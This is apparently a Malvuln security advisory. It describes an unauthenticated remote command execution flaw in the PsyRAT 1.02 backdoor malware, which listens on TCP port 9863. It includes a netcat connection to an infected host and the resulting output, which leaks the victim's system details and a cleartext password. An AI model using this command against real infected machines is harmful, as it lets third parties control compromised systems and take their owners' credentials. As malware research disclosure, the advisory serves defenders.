Backdoor.Win32.PsyRat.b Code Execution

Backdoor.Win32.PsyRat.b malware suffers from a code execution vulnerability.

MD5 | 871963dc1f8704795330612d4aaaa001

Discovery / credits: Malvuln - (c) 2021
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.PsyRat.b
Vulnerability: Unauthenticated Remote Command Execution
Description: The PsyRAT 1.02 malware listens by default on TCP port 9863, but can be changed when building backdoor servers. Third-party attackers who can reach infected systems can execute commands made available by the backdoor. The backdoors cpuinfo command will leak system details including cleartext password.
Type: PE32
MD5: 5817183894cb513239f6aef28895130c
Vuln ID: MVID-2021-0306
Dropped files: server.exe
Disclosure: 07/26/2021

nc64.exe x.x.x.x 9863
Invalid command
you are a loser
Windows Version: |System Directory: C:\WINDOWS\system32|Computer Name: DESKTOP-3C4IJHO|Username: Victim|CPU Speed: 2808 MHz|CPU Type: GenuineIntel|------|PsyRAT Version: PsyRAT 1.02|IP/Port:|Password: abc123|Install name: winhost.exe|Reg value: Windows Host|PHP URL:
Invalid command.
PsyRAT 0.01 BETA

C:\ - Fixed Drive^D:\ - CD-ROM^

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